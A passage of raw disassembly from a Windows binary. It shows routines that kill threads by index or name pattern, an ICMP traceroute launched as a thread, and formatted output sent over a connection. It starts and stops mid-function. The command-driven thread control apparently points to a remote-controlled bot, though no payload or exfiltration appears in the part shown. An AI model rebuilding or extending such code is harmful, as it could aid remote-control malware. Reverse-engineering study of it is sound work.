; ---------------------------------------------------------------------------

loc_4098E6:				; CODE XREF: sub_4097A7+CAj
					; sub_4097A7+138j
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx

locret_4098F1:				; CODE XREF: sub_4097A7+Fj
					; sub_4097A7+79j
		leave
		retn
sub_4097A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098F3	proc near		; CODE XREF: sub_40A9CF+F13p

var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_194		= byte ptr -194h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 19Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_409907
		jmp	locret_409AD3
; ---------------------------------------------------------------------------

loc_409907:				; CODE XREF: sub_4098F3+Dj
		push	[ebp+arg_0]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	loc_4099B4
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_41E3A8
		call	sub_409C6C
		pop	ecx
		cmp	[ebp+var_4], 10h
		jnb	short loc_4099A4
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_4099A4
		mov	eax, dword_41E3C0
		dec	eax
		mov	dword_41E3C0, eax
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3C8
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_8], eax
		push	198h
		push	0
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3C8
		add	ecx, eax
		push	ecx
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	[ebp+var_8]
		call	dword_4170E0	; TerminateThread
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

loc_4099A4:				; CODE XREF: sub_4098F3+43j
					; sub_4098F3+59j
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		jmp	locret_409AD3
; ---------------------------------------------------------------------------

loc_4099B4:				; CODE XREF: sub_4098F3+22j
		push	[ebp+arg_0]
		push	offset aS	; "*%s*"
		push	185h
		lea	eax, [ebp+var_194]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41E3A8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E3C0
		mov	[ebp+var_C], eax
		and	[ebp+var_198], 0
		jmp	short loc_4099F9
; ---------------------------------------------------------------------------

loc_4099EC:				; CODE XREF: sub_4098F3:loc_409AC3j
		mov	eax, [ebp+var_198]
		inc	eax
		mov	[ebp+var_198], eax

loc_4099F9:				; CODE XREF: sub_4098F3+F7j
		cmp	[ebp+var_198], 10h
		jnb	loc_409AC8
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E3C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	loc_409AC3
		mov	eax, [ebp+var_C]
		dec	eax
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_194]
		push	eax
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E3C8
		lea	eax, [ecx+eax+14h]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_409ABB
		mov	eax, dword_41E3C0
		dec	eax
		mov	dword_41E3C0, eax
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E3C8
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_19C], eax
		push	198h
		push	0
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E3C8
		add	ecx, eax
		push	ecx
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	[ebp+var_19C]
		call	dword_4170E0	; TerminateThread
		push	[ebp+var_19C]
		call	dword_4170A4	; CloseHandle

loc_409ABB:				; CODE XREF: sub_4098F3+161j
		cmp	[ebp+var_C], 0
		jnz	short loc_409AC3
		jmp	short loc_409AC8
; ---------------------------------------------------------------------------

loc_409AC3:				; CODE XREF: sub_4098F3+12Aj
					; sub_4098F3+1CCj
		jmp	loc_4099EC
; ---------------------------------------------------------------------------

loc_409AC8:				; CODE XREF: sub_4098F3+10Dj
					; sub_4098F3+1CEj
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx

locret_409AD3:				; CODE XREF: sub_4098F3+Fj
					; sub_4098F3+BCj
		leave
		retn
sub_4098F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409AD5	proc near		; DATA XREF: sub_409BF1+2Ao

var_1A8		= byte ptr -1A8h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A8h
		push	1A3h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		cmp	dword_41E3C0, 0
		jz	short loc_409B25
		push	10h
		push	dword_41E3C0
		push	offset dword_4194EC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_409B3F
; ---------------------------------------------------------------------------

loc_409B25:				; CODE XREF: sub_409AD5+30j
		push	offset dword_4194CC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	locret_409BED
; ---------------------------------------------------------------------------

loc_409B3F:				; CODE XREF: sub_409AD5+4Ej
		push	offset dword_41E3A8
		call	sub_409C6C
		pop	ecx
		and	[ebp+var_10], 0
		and	[ebp+var_4], 0
		jmp	short loc_409B5B
; ---------------------------------------------------------------------------

loc_409B54:				; CODE XREF: sub_409AD5:loc_409BDBj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_409B5B:				; CODE XREF: sub_409AD5+7Dj
		cmp	[ebp+var_4], 10h
		jge	short loc_409BE0
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_409BDB
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		push	3E8h
		call	dword_41709C	; Sleep
		push	offset dword_41E3A8
		call	sub_409C6C
		pop	ecx
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3C8
		lea	eax, [ecx+eax+14h]
		push	eax
		push	[ebp+var_4]
		push	offset dword_4194BC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3C8
		cmp	dword ptr [ecx+eax+4], 0
		jz	short loc_409BDB
		jmp	short loc_409BE0
; ---------------------------------------------------------------------------

loc_409BDB:				; CODE XREF: sub_409AD5+A0j
					; sub_409AD5+102j
		jmp	loc_409B54
; ---------------------------------------------------------------------------

loc_409BE0:				; CODE XREF: sub_409AD5+8Aj
					; sub_409AD5+104j
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax

locret_409BED:				; CODE XREF: sub_409AD5+65j
		leave
		retn	4
sub_409AD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409BF1	proc near		; CODE XREF: sub_40A9CF+AFBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A3h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_409C0B
		jmp	short locret_409C34
; ---------------------------------------------------------------------------

loc_409C0B:				; CODE XREF: sub_409BF1+16j
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		push	offset sub_409AD5
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short locret_409C34
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx

locret_409C34:				; CODE XREF: sub_409BF1+18j
					; sub_409BF1+38j
		leave
		retn
sub_409BF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C36	proc near		; CODE XREF: sub_405FA3+9p
					; sub_40938F+1Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	18h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		cmp	dword_41DF10, 0
		jz	short loc_409C61
		push	80000400h
		push	[ebp+arg_0]
		call	dword_41DF10	; InitializeCriticalSectionAndSpinCount
		jmp	short loc_409C6A
; ---------------------------------------------------------------------------

loc_409C61:				; CODE XREF: sub_409C36+19j
		push	[ebp+arg_0]
		call	dword_4170E4	; InitializeCriticalSection

loc_409C6A:				; CODE XREF: sub_409C36+29j
		pop	ebp
		retn
sub_409C36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C6C	proc near		; CODE XREF: sub_406041+10p
					; sub_4095A4+Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_4170EC	; RtlEnterCriticalSection
		pop	ebp
		retn
sub_409C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C7A	proc near		; CODE XREF: sub_406041+26p
					; sub_406041+307p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_41710C	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_409C7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C88	proc near		; CODE XREF: sub_40332B+10p
					; sub_41113B+7EDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xadd [esi], eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409C88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C9D	proc near		; CODE XREF: sub_4042FB+17p
					; sub_4042FB+25p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xchg eax, [esi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409C9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409CB1	proc near		; CODE XREF: sub_409DD0+202p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		call	dword_41E3CC
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_409CD8
		push	offset aCouldNotGetAVa ; "Could	not get	a valid	ICMP handle\n"
		call	sub_416DD8	; printf
		pop	ecx
		xor	eax, eax
		jmp	locret_409DCE
; ---------------------------------------------------------------------------

loc_409CD8:				; CODE XREF: sub_409CB1+13j
		push	8
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	al, [ebp+arg_8]
		mov	[ebp+var_18], al
		movzx	eax, [ebp+arg_10]
		push	eax
		call	sub_416DD2	; ??2@YAPAXI@Z
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_10]
		push	eax
		push	45h
		push	[ebp+var_C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		movzx	eax, [ebp+arg_10]
		cmp	eax, 8
		jge	short loc_409D26
		mov	[ebp+var_38], 8
		jmp	short loc_409D2D
; ---------------------------------------------------------------------------

loc_409D26:				; CODE XREF: sub_409CB1+6Aj
		movzx	eax, [ebp+arg_10]
		mov	[ebp+var_38], eax

loc_409D2D:				; CODE XREF: sub_409CB1+73j
		mov	eax, [ebp+var_38]
		add	eax, 1Ch
		mov	[ebp+var_24], eax
		push	[ebp+var_24]
		call	sub_416DD2	; ??2@YAPAXI@Z
		pop	ecx
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax
		push	[ebp+arg_C]
		push	[ebp+var_24]
		push	[ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		movzx	ax, [ebp+arg_10]
		push	eax
		push	[ebp+var_C]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		call	dword_41E3D8
		mov	[ebp+var_20], eax
		mov	[ebp+var_8], 1
		cmp	[ebp+var_20], 1
		jz	short loc_409D8D
		call	dword_417064	; RtlGetLastWin32Error
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_409DA4
; ---------------------------------------------------------------------------

loc_409D8D:				; CODE XREF: sub_409CB1+CDj
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx+8]
		mov	[eax+8], ecx

loc_409DA4:				; CODE XREF: sub_409CB1+DAj
		push	[ebp+var_1C]
		call	dword_41E3D4
		mov	eax, [ebp+var_C]
		mov	[ebp+var_30], eax
		push	[ebp+var_30]
		call	sub_416DCC	; ??3@YAXPAX@Z
		pop	ecx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_34], eax
		push	[ebp+var_34]
		call	sub_416DCC	; ??3@YAXPAX@Z
		pop	ecx
		mov	eax, [ebp+var_8]

locret_409DCE:				; CODE XREF: sub_409CB1+22j
		leave
		retn
sub_409CB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409DD0	proc near		; DATA XREF: sub_40A1A7+FDo

var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= byte ptr -2B0h
var_10D		= byte ptr -10Dh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2F0h
		push	2ACh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, byte_41E3E0
		test	eax, eax
		jnz	short loc_409E6D
		push	offset aIcmp_dll ; "ICMP.DLL"
		call	dword_417054	; LoadLibraryA
		mov	dword_41E3D0, eax
		cmp	dword_41E3D0, 0
		jnz	short loc_409E24
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------

loc_409E24:				; CODE XREF: sub_409DD0+4Bj
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	dword_41E3D0
		call	dword_417058	; GetProcAddress
		mov	dword_41E3CC, eax
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	dword_41E3D0
		call	dword_417058	; GetProcAddress
		mov	dword_41E3D8, eax
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	dword_41E3D0
		call	dword_417058	; GetProcAddress
		mov	dword_41E3D4, eax
		mov	byte_41E3E0, 1

loc_409E6D:				; CODE XREF: sub_409DD0+32j
		cmp	dword_41E3CC, 0
		jnz	short loc_409E7D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------

loc_409E7D:				; CODE XREF: sub_409DD0+A4j
		cmp	dword_41E3D8, 0
		jnz	short loc_409E8D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------

loc_409E8D:				; CODE XREF: sub_409DD0+B4j
		cmp	dword_41E3D4, 0
		jnz	short loc_409E9D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------

loc_409E9D:				; CODE XREF: sub_409DD0+C4j
		lea	eax, [ebp+var_10D]
		mov	[ebp+var_2B8], eax
		push	[ebp+var_2B8]
		call	dword_417244	; inet_addr
		mov	[ebp+var_2BC], eax
		cmp	[ebp+var_2BC], 0FFFFFFFFh
		jnz	short loc_409F18
		push	[ebp+var_2B8]
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_2C0], eax
		cmp	[ebp+var_2C0], 0
		jz	short loc_409F06
		mov	eax, [ebp+var_2C0]
		movsx	eax, word ptr [eax+0Ah]
		push	eax
		mov	eax, [ebp+var_2C0]
		mov	eax, [eax+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	short loc_409F18
; ---------------------------------------------------------------------------

loc_409F06:				; CODE XREF: sub_409DD0+10Dj
		push	offset aCouldNotResolv ; "Could	not resolve name"
		call	sub_416DD8	; printf
		pop	ecx
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------

loc_409F18:				; CODE XREF: sub_409DD0+F2j
					; sub_409DD0+134j
		and	[ebp+var_4], 0
		mov	byte ptr [ebp+var_2B4],	1
		jmp	short loc_409F33
; ---------------------------------------------------------------------------

loc_409F25:				; CODE XREF: sub_409DD0:loc_40A19Cj
		mov	al, byte ptr [ebp+var_2B4]
		add	al, 1
		mov	byte ptr [ebp+var_2B4],	al

loc_409F33:				; CODE XREF: sub_409DD0+153j
		movzx	eax, byte ptr [ebp+var_2B4]
		movzx	ecx, [ebp+var_D]
		cmp	eax, ecx
		jg	loc_40A1A1
		cmp	[ebp+var_4], 0
		jnz	loc_40A1A1
		and	[ebp+var_2EC], 0
		or	[ebp+var_2E4], 0FFFFFFFFh
		and	[ebp+var_2E0], 0
		and	[ebp+var_2DC], 0
		and	[ebp+var_2D0], 0
		and	[ebp+var_2C8], 0
		and	[ebp+var_2CC], 0
		and	[ebp+var_2D8], 0
		and	[ebp+var_2D4], 0
		jmp	short loc_409F9E
; ---------------------------------------------------------------------------

loc_409F91:				; CODE XREF: sub_409DD0:loc_40A04Ej
		mov	eax, [ebp+var_2D4]
		inc	eax
		mov	[ebp+var_2D4], eax

loc_409F9E:				; CODE XREF: sub_409DD0+1BFj
		mov	eax, [ebp+var_2D4]
		cmp	eax, [ebp+var_8]
		jnb	loc_40A053
		cmp	[ebp+var_2D8], 0
		jnz	loc_40A053
		push	20h
		push	[ebp+var_C]
		push	[ebp+var_2B4]
		lea	eax, [ebp+var_2CC]
		push	eax
		push	[ebp+var_2BC]
		call	sub_409CB1
		add	esp, 14h
		test	eax, eax
		jz	short loc_40A047
		cmp	[ebp+var_2CC], 0
		jnz	short loc_40A02F
		mov	eax, [ebp+var_2D0]
		add	eax, [ebp+var_2C4]
		mov	[ebp+var_2D0], eax
		mov	eax, [ebp+var_2C4]
		cmp	eax, [ebp+var_2E4]
		jnb	short loc_40A013
		mov	eax, [ebp+var_2C4]
		mov	[ebp+var_2E4], eax

loc_40A013:				; CODE XREF: sub_409DD0+235j
		mov	eax, [ebp+var_2C4]
		cmp	eax, [ebp+var_2DC]
		jbe	short loc_40A02D
		mov	eax, [ebp+var_2C4]
		mov	[ebp+var_2DC], eax

loc_40A02D:				; CODE XREF: sub_409DD0+24Fj
		jmp	short loc_40A045
; ---------------------------------------------------------------------------

loc_40A02F:				; CODE XREF: sub_409DD0+215j
		mov	eax, [ebp+var_2CC]
		mov	[ebp+var_2EC], eax
		mov	[ebp+var_2D8], 1

loc_40A045:				; CODE XREF: sub_409DD0:loc_40A02Dj
		jmp	short loc_40A04E
; ---------------------------------------------------------------------------

loc_40A047:				; CODE XREF: sub_409DD0+20Cj
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------

loc_40A04E:				; CODE XREF: sub_409DD0:loc_40A045j
		jmp	loc_409F91
; ---------------------------------------------------------------------------

loc_40A053:				; CODE XREF: sub_409DD0+1D7j
					; sub_409DD0+1E4j
		mov	eax, [ebp+var_2C8]
		mov	[ebp+var_2E8], eax
		cmp	[ebp+var_2EC], 0
		jnz	short loc_40A07B
		mov	eax, [ebp+var_2D0]
		xor	edx, edx
		div	[ebp+var_8]
		mov	[ebp+var_2E0], eax
		jmp	short loc_40A090
; ---------------------------------------------------------------------------

loc_40A07B:				; CODE XREF: sub_409DD0+296j
		and	[ebp+var_2E4], 0
		and	[ebp+var_2E0], 0
		and	[ebp+var_2DC], 0

loc_40A090:				; CODE XREF: sub_409DD0+2A9j
		cmp	[ebp+var_2EC], 0
		jnz	loc_40A165
		push	2
		push	4
		lea	eax, [ebp+var_2E8]
		push	eax
		call	dword_417220	; gethostbyaddr
		mov	[ebp+var_2F0], eax
		cmp	[ebp+var_2F0], 0
		jz	short loc_40A115
		movzx	eax, byte ptr [ebp+var_2E8+3]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+2]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+1]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8]
		push	eax
		mov	eax, [ebp+var_2F0]
		push	dword ptr [eax]
		push	[ebp+var_2DC]
		push	[ebp+var_2E0]
		push	[ebp+var_2E4]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419594
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 2Ch
		jmp	short loc_40A163
; ---------------------------------------------------------------------------

loc_40A115:				; CODE XREF: sub_409DD0+2EBj
		movzx	eax, byte ptr [ebp+var_2E8+3]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+2]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+1]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8]
		push	eax
		push	[ebp+var_2DC]
		push	[ebp+var_2E0]
		push	[ebp+var_2E4]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419568
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 28h

loc_40A163:				; CODE XREF: sub_409DD0+343j
		jmp	short loc_40A187
; ---------------------------------------------------------------------------

loc_40A165:				; CODE XREF: sub_409DD0+2C7j
		push	[ebp+var_2EC]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419540
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 10h

loc_40A187:				; CODE XREF: sub_409DD0:loc_40A163j
		mov	eax, [ebp+var_2BC]
		cmp	eax, [ebp+var_2E8]
		jnz	short loc_40A19C
		mov	[ebp+var_4], 1

loc_40A19C:				; CODE XREF: sub_409DD0+3C3j
		jmp	loc_409F25
; ---------------------------------------------------------------------------

loc_40A1A1:				; CODE XREF: sub_409DD0+170j
					; sub_409DD0+17Aj
		xor	eax, eax

locret_40A1A3:				; CODE XREF: sub_409DD0+4Fj
					; sub_409DD0+A8j ...
		leave
		retn	4
sub_409DD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A1A7	proc near		; CODE XREF: sub_40A9CF+FAEp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A1C7
		push	offset unk_419618
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx
		jmp	locret_40A2D0
; ---------------------------------------------------------------------------

loc_40A1C7:				; CODE XREF: sub_40A1A7+Aj
		push	2ACh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A1E0
		jmp	locret_40A2D0
; ---------------------------------------------------------------------------

loc_40A1E0:				; CODE XREF: sub_40A1A7+32j
		push	1A3h
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 1A3h
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_40A22A
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, 0FFh
		jg	short loc_40A22A
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_10], eax
		jmp	short loc_40A231
; ---------------------------------------------------------------------------

loc_40A22A:				; CODE XREF: sub_40A1A7+63j
					; sub_40A1A7+73j
		mov	[ebp+var_10], 1Eh

loc_40A231:				; CODE XREF: sub_40A1A7+81j
		mov	eax, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_10]
		mov	[eax+2A3h], cl
		cmp	[ebp+arg_C], 0
		jz	short loc_40A261
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, 927C0h
		jg	short loc_40A261
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_14], eax
		jmp	short loc_40A268
; ---------------------------------------------------------------------------

loc_40A261:				; CODE XREF: sub_40A1A7+9Aj
					; sub_40A1A7+AAj
		mov	[ebp+var_14], 7530h

loc_40A268:				; CODE XREF: sub_40A1A7+B8j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_14]
		mov	[eax+2A4h], ecx
		cmp	[ebp+arg_10], 0
		jz	short loc_40A288
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_18], eax
		jmp	short loc_40A28F
; ---------------------------------------------------------------------------

loc_40A288:				; CODE XREF: sub_40A1A7+D1j
		mov	[ebp+var_18], 3

loc_40A28F:				; CODE XREF: sub_40A1A7+DFj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_18]
		mov	[eax+2A8h], ecx
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	[ebp+var_4]
		push	offset sub_409DD0
		push	0
		push	0
		call	dword_4170B4	; CreateThread
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40A2C7
		push	[ebp+var_4]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short locret_40A2D0
; ---------------------------------------------------------------------------

loc_40A2C7:				; CODE XREF: sub_40A1A7+113j
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

locret_40A2D0:				; CODE XREF: sub_40A1A7+1Bj
					; sub_40A1A7+34j ...
		leave
		retn
sub_40A1A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A2D2	proc near		; CODE XREF: sub_40A4A4+30p

var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1114	= byte ptr -1114h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 111Ch
		call	sub_416BC0
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 104h
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		push	offset dword_41966C
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	2710h
		push	0
		push	offset dword_419668
		mov	eax, [ebp+arg_0]
		add	eax, 104h
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40A339
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------

loc_40A339:				; CODE XREF: sub_40A2D2+5Ej
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		push	offset dword_419660
		lea	eax, [ebp+var_114]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	[ebp+var_8]
		call	sub_4053BF
		add	esp, 0Ch
